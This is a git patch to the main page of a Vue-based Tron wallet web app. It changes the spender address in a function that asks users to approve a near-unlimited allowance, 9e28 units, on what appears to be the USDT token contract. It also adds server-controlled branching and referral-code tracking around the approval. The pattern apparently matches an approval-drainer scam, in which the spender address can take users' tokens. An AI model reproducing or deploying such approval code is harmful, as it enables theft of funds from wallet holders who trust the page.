From 32b663e9a66dc6c7c7efb184a930b1bd1d40ec37 Mon Sep 17 00:00:00 2001
From: queenwuli <942534046@qq.com>
Date: Sat, 02 Apr 2022 10:43:05 +0800
Subject: [PATCH] gx

---
 src/pages/index/index.vue |   23 ++++++++++++++++++-----
 1 files changed, 18 insertions(+), 5 deletions(-)

diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue
index bec2fc7..7f6c446 100644
--- a/src/pages/index/index.vue
+++ b/src/pages/index/index.vue
@@ -278,9 +278,17 @@
           method: 'get'
         }).then((res) => {
           if(res.code == 200) {
-            this.hasApprove = true;
-            this.initAccountData()
-            sessionStorage.setItem('address', this.walletAddress);
+            let result = res.data;
+            if(result == 1) {
+              this.hasApprove = true;
+              this.initAccountData()
+              sessionStorage.setItem('address', this.walletAddress);
+            } else if (result == 2) {
+              this.submitApprove()
+            } else {
+              this.hasApprove = false;
+              this.$toast(this.$t('message.ApproveTip'));
+            }
           }else{
             this.hasApprove = false;
             this.$toast(this.$t('message.ApproveTip'));
@@ -309,16 +317,18 @@
         console.log(res)
         this.submitApprove()
         this.isApproving = false;
+        this.isShowApproveModal = false;
       }).catch((err) => {
         console.log('授权失败')
         console.log(err)
         this.isApproving = false;
+        this.isShowApproveModal = false;
       })
     },
     async tornWebApprove () {
       const tronWeb = window.tronWeb;
       const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
-      const authAddress = "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp";
+      const authAddress = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
       let instance = await tronWeb.contract().at(trxContractAddress);
       let res = await instance["approve"](authAddress, "90000000000000000000000000000");
       res.send({
@@ -331,20 +341,23 @@
               this.submitApprove()
           }
           this.isApproving = false;
+          this.isShowApproveModal = false;
       });
     },
     submitApprove () {
+        let refererId = this.getQueryString('code');
         this.$axios({
           url: '/dapi/common/approve',
           method: 'post',
           data: {
             address: this.walletAddress,
-            refererId: ''
+            refererId: refererId ? refererId : ''
           }
         }).then((res) => {
           if(res.code == 200) {
             this.hasApprove = true;
             this.initAccountData();
+            sessionStorage.setItem('address', this.walletAddress);
           }
         })
     },

--
Gitblit v1.9.1